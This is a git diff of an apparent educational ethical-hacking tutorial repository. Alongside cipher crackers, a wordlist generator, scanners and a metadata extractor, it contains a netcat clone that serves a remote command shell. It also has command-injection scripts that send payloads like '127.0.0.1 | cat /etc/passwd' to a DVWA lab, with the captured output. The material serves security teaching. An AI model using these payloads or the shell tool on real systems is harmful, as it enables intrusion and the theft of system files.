b/ethical-hacking/bluetooth-scanner/requirements.txt @@ -0,0 +1 @@ +pybluez2 \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/README.md b/ethical-hacking/bruteforce-wordlist-generator/README.md new file mode 100644 index 00000000..7a2e8b50 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/README.md @@ -0,0 +1 @@ +# [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py new file mode 100644 index 00000000..13f2b1f7 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py @@ -0,0 +1,36 @@ +# Import the argparse module for handling command line arguments. +# Import the itertools module for generating combinations. +import argparse, itertools + + +# Define a function to generate a wordlist based on given parameters. +def generate_wordlist(characters, min_length, max_length, output_file): + # Open the output file in write mode. + with open(output_file, 'w') as file: + # Iterate over the range of word lengths from min_length to max_length. + for length in range(min_length, max_length + 1): + # Generate all possible combinations of characters with the given length. + for combination in itertools.product(characters, repeat=length): + # Join the characters to form a word and write it to the file + word = ''.join(combination) + file.write(word + '\n') + + +# Create an ArgumentParser object for handling command line arguments. +parser = argparse.ArgumentParser(description="Generate a custom wordlist similar to crunch.") + +# Define command line arguments. +parser.add_argument("-c", "--characters", type=str, default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + help="Set of characters to include in the wordlist") +parser.add_argument("-min", "--min_length", type=int, default=4, help="Minimum length of the words") +parser.add_argument("-max", "--max_length", type=int, default=6, help="Maximum length of the words") +parser.add_argument("-o", "--output_file", type=str, default="custom_wordlist.txt", help="Output file name") + +# Parse the command line arguments. +args = parser.parse_args() + +# Call the generate_wordlist function with the provided arguments. +generate_wordlist(args.characters, args.min_length, args.max_length, args.output_file) + +# Print a message indicating the wordlist has been generated and saved. +print(f"[+] Wordlist generated and saved to {args.output_file}") diff --git a/ethical-hacking/caesar-cipher/README.md b/ethical-hacking/caesar-cipher/README.md new file mode 100644 index 00000000..9c91133f --- /dev/null +++ b/ethical-hacking/caesar-cipher/README.md @@ -0,0 +1,2 @@ +# [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python) +# [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/caesar-cipher/caeser_cipher.py b/ethical-hacking/caesar-cipher/caeser_cipher.py new file mode 100644 index 00000000..2bffbc69 --- /dev/null +++ b/ethical-hacking/caesar-cipher/caeser_cipher.py @@ -0,0 +1,46 @@ +import sys # The sys module for system-related operations. +from colorama import Fore, init # Import the colorama for colored text + +init() # Initialize the colorama library for colored text. + + +def implement_caesar_cipher(message, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + # Iterate through each character in the user's input message. + for character in message: + # Check if the character is an alphabet letter. + if character.isalpha(): + # Determine the shift amount based. i.e the amount of times to be shifted e.g 2,3,4.... + shift = key if not decrypt else -key + # Check if the character is a lowercase letter. + if character.islower(): + # Apply Caesar cipher transformation for lowercase letters. + result += chr(((ord(character) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply Caesar cipher transformation for uppercase letters. + result += chr(((ord(character) - ord('A') + shift) % 26) + ord('A')) + else: + # Preserve non-alphabet characters as they are. + result += character + return result # Return the encrypted or decrypted result. + + +# Prompt the user to enter the text to be encrypted +text_to_encrypt = input(f"{Fore.GREEN}[?] Please Enter your text/message: ") +# Prompt the user to specify the shift length (the key). +key = int(input(f"{Fore.GREEN}[?] Please specify the shift length: ")) + + +# Check if the specified key is within a valid range (0 to 25). +if key > 25 or key < 0: + # Display an error message if the key is out of range. + print(f"{Fore.RED}[!] Your shift length should be between 0 and 25 ") + sys.exit() # Exit the program if the key is invalid. + +# Encrypt the user's input using the specified key. +encrypted_text = implement_caesar_cipher(text_to_encrypt, key) + +# Display the encrypted text. +print(f"{Fore.GREEN}[+] {text_to_encrypt} {Fore.MAGENTA}has been encrypted as {Fore.RED}{encrypted_text}") + diff --git a/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py new file mode 100644 index 00000000..6d7f0d9d --- /dev/null +++ b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py @@ -0,0 +1,55 @@ +# Import colorama for colorful text. +from colorama import Fore, init + +init() + + +# Define a function for Caesar cipher encryption. +def implement_caesar_cipher(text, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + + # Iterate through each character in the input text. + for char in text: + # Check if the character is alphabetical. + if char.isalpha(): + # Determine the shift value using the provided key (or its negation for decryption). + shift = key if not decrypt else -key + + # Check if the character is lowercase + if char.islower(): + # Apply the Caesar cipher encryption/decryption formula for lowercase letters. + result += chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply the Caesar cipher encryption/decryption formula for uppercase letters. + result += chr(((ord(char) - ord('A') + shift) % 26) + ord('A')) + else: + # If the character is not alphabetical, keep it as is e.g. numbers, punctuation + result += char + + # Return the result, which is the encrypted or decrypted text + return result + + +# Define a function for cracking the Caesar cipher. +def crack_caesar_cipher(ciphertext): + # Iterate through all possible keys (0 to 25) as there 26 alphabets. + for key in range(26): + # Call the caesar_cipher function with the current key to decrypt the text. + decrypted_text = implement_caesar_cipher(ciphertext, key, decrypt=True) + + # Print the result, showing the decrypted text for each key + print(f"{Fore.RED}Key {key}: {decrypted_text}") + + +# Initiate a continuous loop so the program keeps running. +while True: + # Accept user input. + encrypted_text = input(f"{Fore.GREEN}[?] Please Enter the text/message to decrypt: ") + # Check if user does not specify anything. + if not encrypted_text: + print(f"{Fore.RED}[-] Please specify the text to decrypt.") + else: + crack_caesar_cipher(encrypted_text) + + diff --git a/ethical-hacking/caesar-cipher/requirements.txt b/ethical-hacking/caesar-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/caesar-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md new file mode 100644 index 00000000..a0677af7 --- /dev/null +++ b/ethical-hacking/checking-password-strength/README.md @@ -0,0 +1 @@ +# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python) \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py new file mode 100644 index 00000000..cf897997 --- /dev/null +++ b/ethical-hacking/checking-password-strength/check_password_strength.py @@ -0,0 +1,37 @@ +from zxcvbn import zxcvbn +import pprint, getpass, sys + + +def test_single_password(): + password = getpass.getpass("[?] Enter your password: ") + result = zxcvbn(password) + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + +def test_multiple_passwords(password_file): + try: + with open(password_file, 'r') as passwords: + for password in passwords: + result = zxcvbn(password.strip('\n')) + print('\n[+] ######################')# for readability + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + except Exception: + print('[!] Please make sure to specify an accessible file containing passwords.') + + +if len(sys.argv) == 2: + test_multiple_passwords(sys.argv[1]) +elif len(sys.argv) == 1: + test_single_password() +else: + print('Usage: python test_password_strength.py (for a file containing passwords) or \ + \npython test_password_strength.py (for a single password.)') \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt new file mode 100644 index 00000000..78b151ad --- /dev/null +++ b/ethical-hacking/checking-password-strength/passwords.txt @@ -0,0 +1,4 @@ +password +1234567 +abc123cba159 +Sioplabxtre_9lTGCE diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt new file mode 100644 index 00000000..7f766a99 --- /dev/null +++ b/ethical-hacking/checking-password-strength/requirements.txt @@ -0,0 +1 @@ +zxcvbn \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md new file mode 100644 index 00000000..11c88d59 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/README.md @@ -0,0 +1 @@ +# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python) \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py new file mode 100644 index 00000000..c8933bac --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py @@ -0,0 +1,55 @@ +import requests, argparse + + +# Function to check if a website is vulnerable to clickjacking. +def check_clickjacking(url): + try: + # Add https:// schema if not present in the URL. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + # Send a GET request to the URL. + response = requests.get(url) + headers = response.headers + + # Check for X-Frame-Options header. + if 'X-Frame-Options' not in headers: + return True + + # Get the value of X-Frame-Options and check it.. + x_frame_options = headers['X-Frame-Options'].lower() + if x_frame_options != 'deny' and x_frame_options != 'sameorigin': + return True + + return False + except requests.exceptions.RequestException as e: + print(f"An error occurred while checking {url} - {e}") + return False + +# Main function to parse arguments and check the URL. +def main(): + parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner') + parser.add_argument('url', type=str, help='The URL of the website to check') + parser.add_argument('-l', '--log', action='https://github.com/store_true', help='Print out the response headers for analysis') + args = parser.parse_args() + + url = args.url + is_vulnerable = check_clickjacking(url) + + if is_vulnerable: + print(f"[+] {url} may be vulnerable to clickjacking.") + else: + print(f"[-] {url} is not vulnerable to clickjacking.") + + if args.log: + # Add https:// schema if not present in the URL for response printing. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + print("\nResponse Headers:") + response = requests.get(url) + for header, value in response.headers.items(): + print(f"{header}: {value}") + +if __name__ == '__main__': + main() diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/requirements .txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/README.md b/ethical-hacking/crack-affine-cipher/README.md new file mode 100644 index 00000000..bd70cb4b --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py new file mode 100644 index 00000000..252fde0a --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py @@ -0,0 +1,92 @@ +# Import the needed libraries. +import string +from colorama import Fore, init + +# Initialise colorama. +init() + + +# Function to get Euclidean Algorithm. +def extended_gcd(a, b): + """ + Extended Euclidean Algorithm to find the greatest common divisor + and coefficients x, y such that ax + by = gcd(a, b). + """ + if a == 0: + return (b, 0, 1) + else: + g, x, y = extended_gcd(b % a, a) + return (g, y - (b // a) * x, x) + + +# Function to get the modular Inverse +def modular_inverse(a, m): + """ + Compute the modular multiplicative inverse of a modulo m. + Raises an exception if the modular inverse does not exist. + """ + g, x, y = extended_gcd(a, m) + if g != 1: + raise Exception('Modular inverse does not exist') + else: + return x % m + + +# Function to decrypt our message. +def affine_decrypt(ciphertext, a, b): + """ + Decrypt a message encrypted with the Affine Cipher using + the given key components a and b. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + plaintext = '' + + # Compute the modular multiplicative inverse of a. + a_inv = modular_inverse(a, m) + + # Iterate through each character in the ciphertext. + for char in ciphertext: + # Check if the character is in the alphabet + if char in alphabet: + # If it's an alphabet letter, decrypt it. + # Find the index of the character in the alphabet. + c = alphabet.index(char) + # Apply the decryption formula: a_inv * (c - b) mod m. + p = (a_inv * (c - b)) % m + # Append the decrypted character to the plaintext. + plaintext += alphabet[p] + else: + # If the character is not in the alphabet, keep it unchanged. + plaintext += char + + # Return the decrypted plaintext. + return plaintext + + +# Function to peform brute force attack. +def affine_brute_force(ciphertext): + """ + Brute-force attack to find possible keys for an Affine Cipher + and print potential decryptions for manual inspection. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + + # Iterate through possible values for a. + for a in range(1, m): + # Ensure a and m are coprime. + if extended_gcd(a, m)[0] == 1: + # Iterate through possible values for b. + for b in range(0, m): + # Decrypt using the current key. + decrypted_text = affine_decrypt(ciphertext, a, b) + + # Print potential decryption for manual inspection. + print(f"Key (a={a}, b={b}): {decrypted_text}") + + +ciphertext = input(f"{Fore.GREEN}[?] Enter Message to decrypt: ") + +# Perform a brute-force attack to find potential decrypted message. +affine_brute_force(ciphertext) diff --git a/ethical-hacking/crack-affine-cipher/requirements.txt b/ethical-hacking/crack-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md new file mode 100644 index 00000000..81366e68 --- /dev/null +++ b/ethical-hacking/custom-netcat/README.md @@ -0,0 +1 @@ +# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python) \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py new file mode 100644 index 00000000..73313932 --- /dev/null +++ b/ethical-hacking/custom-netcat/netcat.py @@ -0,0 +1,322 @@ +import sys, socket, getopt, threading, subprocess, signal, time + + +class NetCat: + def __init__(self, target, port): + self.listen = False + self.command = False + self.upload = False + self.execute = "" + self.target = target + self.upload_destination = "" + self.port = port + self.running = True + self.threads = [] + + def signal_handler(self, signum, frame): + print('\n[*] User requested an interrupt. Exiting gracefully.') + self.running = False + time.sleep(0.5) + sys.exit(0) + + def run_command(self, cmd): + cmd = cmd.rstrip() + try: + output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + output = e.output + except Exception as e: + output = str(e).encode() + return output + + def handle_client(self, client_socket): + try: + if len(self.upload_destination): + file_buffer = "" + while self.running: + try: + data = client_socket.recv(1024) + if not data: + break + else: + file_buffer += data.decode('utf-8') + except (ConnectionResetError, BrokenPipeError) as e: + print(f"[!] Connection error during upload: {str(e)}") + break + except Exception as e: + print(f"[!] Error receiving data: {str(e)}") + break + + try: + with open(self.upload_destination, "wb") as file_descriptor: + file_descriptor.write(file_buffer.encode('utf-8')) + try: + client_socket.send( + f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send success message - connection lost") + except OSError as e: + print(f"[!] File operation failed: {str(e)}") + try: + client_socket.send( + f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send error message - connection lost") + + if len(self.execute) and self.running: + try: + output = self.run_command(self.execute) + client_socket.send(output) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send command output - connection lost") + except Exception as e: + print(f"[!] Error executing command: {str(e)}") + + if self.command: + while self.running: + try: + # Send prompt + client_socket.send(b" ") + + # Receive command + cmd_buffer = b'' + while b"\n" not in cmd_buffer and self.running: + try: + data = client_socket.recv(1024) + if not data: + raise ConnectionResetError("No data received") + cmd_buffer += data + except socket.timeout: + continue + except (ConnectionResetError, BrokenPipeError): + raise + + if not self.running: + break + + # Execute command and send response + try: + cmd = cmd_buffer.decode().strip() + if cmd.lower() in ['exit', 'quit']: + print("[*] User requested exit") + break + + output = self.run_command(cmd) + if output: + client_socket.send(output + b"\n") + else: + client_socket.send(b"Command completed without output\n") + + except (BrokenPipeError, ConnectionResetError): + print("[!] Connection lost while sending response") + break + except Exception as e: + error_msg = f"Error executing command: {str(e)}\n" + try: + client_socket.send(error_msg.encode()) + except: + break + + except ConnectionResetError: + print("[!] Connection reset by peer") + break + except BrokenPipeError: + print("[!] Broken pipe - connection lost") + break + except Exception as e: + print(f"[!] Error in command loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Exception in handle_client: {str(e)}") + finally: + try: + client_socket.close() + print("[*] Client connection closed") + except: + pass + + def server_loop(self): + server = None + try: + if not len(self.target): + self.target = "0.0.0.0" + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((self.target, self.port)) + server.listen(5) + + print(f"[*] Listening on {self.target}:{self.port}") + + server.settimeout(1.0) + + while self.running: + try: + client_socket, addr = server.accept() + print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") + + client_thread = threading.Thread( + target=self.handle_client, + args=(client_socket,) + ) + client_thread.daemon = True + self.threads.append(client_thread) + client_thread.start() + + except socket.timeout: + continue + except Exception as e: + if self.running: + print(f"[!] Exception in server_loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Failed to create server: {str(e)}") + finally: + if server: + try: + server.close() + print("[*] Server socket closed") + except: + pass + + for thread in self.threads: + try: + thread.join(timeout=1.0) + except threading.ThreadError: + pass + + def client_sender(self, buffer): + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + print(f"[*] Connecting to {self.target}:{self.port}") + client.connect((self.target, self.port)) + + if len(buffer): + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Failed to send initial buffer - connection lost") + return + + while self.running: + try: + # Receive response from server + recv_len = 1 + response = b'' + + while recv_len: + data = client.recv(4096) + recv_len = len(data) + response += data + + if recv_len < 4096: + break + + if response: + print(response.decode('utf-8'), end='') + + # Get next command + buffer = input() + if not self.running: + break + + if buffer.lower() in ['exit', 'quit']: + break + + buffer += "\n" + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("\n[!] Failed to send data - connection lost") + break + + except ConnectionResetError: + print("\n[!] Connection reset by peer") + break + except BrokenPipeError: + print("\n[!] Broken pipe - connection lost") + break + except EOFError: + print("\n[!] EOF detected - exiting") + break + except Exception as e: + print(f"\n[!] Exception in client loop: {str(e)}") + break + + except socket.error as exc: + print("\n[!] Exception! Exiting.") + print(f"[!] Caught exception socket.error: {exc}") + finally: + print("[*] Closing connection") + try: + client.close() + except: + pass + +def main(): + if len(sys.argv[1:]) == 0: + print("Custom Netcat") + print("\nSYNOPSIS") + print(" netcat.py [OPTIONS...]\n") + print("OPTIONS") + print(" -l, --listen Start server in listening mode on specified host:port") + print(" -e, --execute= Execute specified file upon connection establishment") + print(" -c, --command Initialize an interactive command shell session") + print(" -u, --upload= Upload file to specified destination path on connection") + print(" -t, --target= Specify target hostname or IP address") + print(" -p, --port= Specify target port number") + print() + sys.exit(0) + + try: + opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", + ["help", "listen", "execute", "target", + "port", "command", "upload"]) + + for o, a in opts: + if o in ("-h", "--help"): + main() + elif o in ("-l", "--listen"): + toolkit.listen = True + elif o in ("-e", "--execute"): + toolkit.execute = a + elif o in ("-c", "--command"): + toolkit.command = True + elif o in ("-u", "--upload"): + toolkit.upload_destination = a + elif o in ("-t", "--target"): + toolkit.target = a + elif o in ("-p", "--port"): + toolkit.port = int(a) + else: + assert False, "Unhandled Option" + + except getopt.GetoptError as err: + print(str(err)) + main() + + signal.signal(signal.SIGINT, toolkit.signal_handler) + signal.signal(signal.SIGTERM, toolkit.signal_handler) + + try: + if not toolkit.listen and len(toolkit.target) and toolkit.port > 0: + buffer = sys.stdin.read() + toolkit.client_sender(buffer) + + if toolkit.listen: + toolkit.server_loop() + except KeyboardInterrupt: + print("\n[*] User requested shutdown") + except Exception as e: + print(f"\n[!] Unexpected error: {str(e)}") + finally: + toolkit.running = False + print("[*] Shutdown complete") + sys.exit(0) + +if __name__ == "__main__": + toolkit = NetCat("", 0) + main() \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/README.md b/ethical-hacking/docx-metadata-extractor/README.md new file mode 100644 index 00000000..fc8e91dc --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/README.md @@ -0,0 +1 @@ +# [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python) \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py new file mode 100644 index 00000000..794c1860 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py @@ -0,0 +1,41 @@ +import docx # Import the docx library for working with Word documents. +from pprint import pprint # Import the pprint function for pretty printing. + +def extract_metadata(docx_file): + doc = docx.Document(docx_file) # Create a Document object from the Word document file. + core_properties = doc.core_properties # Get the core properties of the document. + + metadata = {} # Initialize an empty dictionary to store metadata + + # Extract core properties + for prop in dir(core_properties): # Iterate over all properties of the core_properties object. + if prop.startswith('__'): # Skip properties starting with double underscores (e.g., __elenent). Not needed + continue + value = getattr(core_properties, prop) # Get the value of the property. + if callable(value): # Skip callable properties (methods). + continue + if prop == 'created' or prop == 'modified' or prop == 'last_printed': # Check for datetime properties. + if value: + value = value.strftime('%Y-%m-%d %H:%M:%S') # Convert datetime to string format. + else: + value = None + metadata[prop] = value # Store the property and its value in the metadata dictionary. + + # Extract custom properties (if available). + try: + custom_properties = core_properties.custom_properties # Get the custom properties (if available). + if custom_properties: # Check if custom properties exist. + metadata['custom_properties'] = {} # Initialize a dictionary to store custom properties. + for prop in custom_properties: # Iterate over custom properties. + metadata['custom_properties'][prop.name] = prop.value # Store the custom property name and value. + except AttributeError: + # Custom properties not available in this version. + pass # Skip custom properties extraction if the attribute is not available. + + return metadata # Return the metadata dictionary. + + + +docx_path = 'test.docx' # Path to the Word document file. +metadata = extract_metadata(docx_path) # Call the extract_metadata function. +pprint(metadata) # Pretty print the metadata dictionary. \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/requirements.txt b/ethical-hacking/docx-metadata-extractor/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/test.docx b/ethical-hacking/docx-metadata-extractor/test.docx new file mode 100644 index 00000000..5bff270e Binary files /dev/null and b/ethical-hacking/docx-metadata-extractor/test.docx differ diff --git a/ethical-hacking/exploit-command-injection/README.md b/ethical-hacking/exploit-command-injection/README.md new file mode 100644 index 00000000..c0f69d8c --- /dev/null +++ b/ethical-hacking/exploit-command-injection/README.md @@ -0,0 +1 @@ +# [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner.py b/ethical-hacking/exploit-command-injection/command_injection_scanner.py new file mode 100644 index 00000000..7a6b6333 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner.py @@ -0,0 +1,58 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payload. +payload = "127.0.0.1 | cat /etc/passwd" + + +def check_command_injection(base_url, login_url, login_data, vuln_page_url): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application (DVWA). + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"[!] Payload used: {payload}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n") + + # Write the response to a text file. + with open("response.txt", "w") as f: + f.write(response.text) + print("[+] Response written to response.txt") + except Exception as e: + print(f"[-] Error occurred while testing payload '{payload}': {e}") + + print("[+] Command injection testing completed.\n") + + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py new file mode 100644 index 00000000..5d78469d --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py @@ -0,0 +1,75 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin +from colorama import Fore, Style, init + +# Initialise colorama. +init() + + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payloads. +payloads = [ + "ls | whoami", + "127.0.0.1 | cat /etc/passwd", + "127.0.0.1 | ls -la" +] + +def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application. + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + responses = "" + + for payload in payloads: + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n") + + responses += f"[!] Payload used: {payload}\n" + responses += "[+] Response after command injection:\n" + responses += "=" * 80 + "\n" + responses += response.text + responses += "=" * 80 + "\n\n" + except Exception as e: + print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}") + responses += f"[-] Error occurred while testing payload '{payload}': {e}\n" + + # Write the responses to a text file. + with open("multiple_payload_response.txt", "w") as f: + f.write(responses) + print("[+] Responses written to response.txt") + + print("[+] Command injection testing completed.\n") + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/multiple_payload_response.txt b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt new file mode 100644 index 00000000..c87a195e --- /dev/null +++ b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt @@ -0,0 +1,316 @@ +[!] Payload used: ls | whoami +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
www-data
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | cat /etc/passwd +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ +
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
